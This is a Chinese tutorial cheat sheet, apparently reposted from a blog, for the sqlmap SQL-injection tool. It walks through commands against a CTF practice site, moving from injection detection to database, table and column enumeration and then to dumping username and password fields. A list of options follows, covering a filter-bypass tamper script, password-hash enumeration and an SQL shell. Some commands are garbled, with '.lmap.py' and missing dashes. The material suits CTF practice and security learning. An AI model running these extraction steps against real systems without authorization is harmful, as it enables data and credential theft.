sqlmap用于sql注入语法

(1) 猜解是否能注入

win: (python) sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 
Linux : .lmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1

(2) 查找数据库

win:python sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --dbs   //?id=1 --current-db(当前数据库)
Linux : .lmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --dbs

(3) 猜解表(假如通过(2)得到了web1这个数据库)

win: python sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1  --tables -D web1
Linux: .lmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tables -D web1

(4) 根据猜解的表进行猜解表的字段(假如通过(3)得到了flag这个表)

win: python sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --columns -T flag -D web1
Linux: .lmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --columns -T flag -D web1

(5) 根据字段猜解内容(假如通过(4)得到字段为username和password)

win: python sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --dump -C "username,password" -T flag -D web1
Linux: .lmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --dump -C "username,password" -T flag -D web1

Target(目标):
以下至少需要设置其中一个选项,设置目标URL。

    -d (DIRECT) 直接连接到数据库。
    -u (URL), –url=URL 目标URL。
    -l (LIST) 从Burp或WebScarab代理的日志中解析目标。
    -r (REQUESTFILE) 从一个文件中载入HTTP请求。
    -g (GOOGLEDORK) 处理Google dork的结果作为目标URL。
    -c (CONFIGFILE) 从INI配置文件中加载选项。

Enumeration(枚举):
这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己的SQL语句。

--tamper=space2comment 绕过空格 (--tamper=space2comment --dbs)
-a 检索所有内容
-b, –banner 检索数据库管理系统的标识
-D (DBname) 枚举的指定数据库名中信息
-T (TBLname) 枚举的指定数据库表中信息(eg:-T tablename –columns)
-C (COL ) 枚举的指定数据库字段(列)信息 (eg:-C flag -T flag -D web1 <---> -C 字段名 -T 表名 -D 数据库名)
-U (USER) 用来进行枚举的数据库用户
--dbs 扫描数据库信息
--tables 列出数据库所有的表信息
--columns 列出数据库表中的所有字段信息(表列)
--current-db 列出当前的数据库名称
-current-user 检索数据库管理系统当前用户
--roles 枚举用户
-dump 列出数据库中表的字段名中信息
--dump-all 列所有表的内容
--exclude-sysdbs 列举用户数据库的表内容
--common-tables暴力破解表
-is-dba 检测DBMS当前用户是否DBA
-users 枚举数据库管理系统用户
-passwords 枚举数据库管理系统用户密码哈希
-privileges 枚举数据库管理系统用户的权限
-columns 枚举DBMS数据库表列-dump 转储数据库管理系统的数据库中的表项
-search 搜索列(S),表(S)和/或数据库名称(S)
-start=LIMITSTART 第一个查询输出进入检索
-stop=LIMITSTOP 最后查询的输出进入检索
-first=FIRSTCHAR 第一个查询输出字的字符检索
-last=LASTCHAR 最后查询的输出字字符检索
-sql-query=QUERY 要执行的SQL语句
-sql-shell 提示交互式SQL的shell
    原文作者:简简的我
    原文地址: https://www.jianshu.com/p/a46abd1e67aa
    本文转自网络文章,转载此文章仅为分享知识,如有侵权,请联系博主进行删除。
点赞